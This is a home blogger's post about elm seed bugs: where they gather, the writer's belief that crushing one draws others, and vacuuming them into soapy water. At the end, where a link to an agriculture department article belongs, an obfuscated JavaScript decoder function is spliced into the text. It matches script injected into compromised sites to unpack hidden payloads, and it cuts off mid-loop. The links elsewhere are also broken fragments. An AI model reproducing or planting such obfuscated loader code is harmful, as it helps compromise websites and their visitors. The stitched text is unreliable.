Yes, it’s that time again when the elm seed bug invades our homes and garages. I find them on every window sill, hanging on doors, climbing into outside attic vents, window screens, in the rabbit feed storage. They really are everywhere. And when the temperatures get hot - in the 90's or above they really are trying to get into the house where it is cooler.

One thing I know for sure, is DON'T DON'T Do Not squish or crush them at any time!! I have tested this theory over the last 2 years and it is absolutely true!! Last winter, I found one bug on the window in our study, so I picked it up with a kleenex and crushed it and threw it away. Within a few hours, there were more, so I did the same thing- crush and toss. See this article: href="" title="Elm Seed Bug" target="_blank"> at "Living with Insects: Elm seed bug" by J. Neil. He states here that the Elm Seed Bug has scent glands that produce a noxious odor and when crushed, the bugs produce an unpleasant odor. I can't smell it, but apparently the other elm seed bugs can and so they literally come out of the woodwork to see what's going on. My favorite method of killing these vile bugs- drowning in soapy water.

Elm Seed Bug

Elm Seed Bug (Photo courtesy of ID State Dept of Agriculture)

I bought a small shop vac just for this purpose. I vacuum the bugs up and drown them in soapy water. That kills them without crushing the bug to bring out their scent.
Soon, I will go outside to wash the window sills, window frames and siding to remove the bug deposits (POOP) they have left around my house. Oh, why can't these bugs be extinguished????

Another article to refer to by the Idaho State Department of Agriculture: function h052c1b60aed(x6){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t4='';var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(" target="_blank">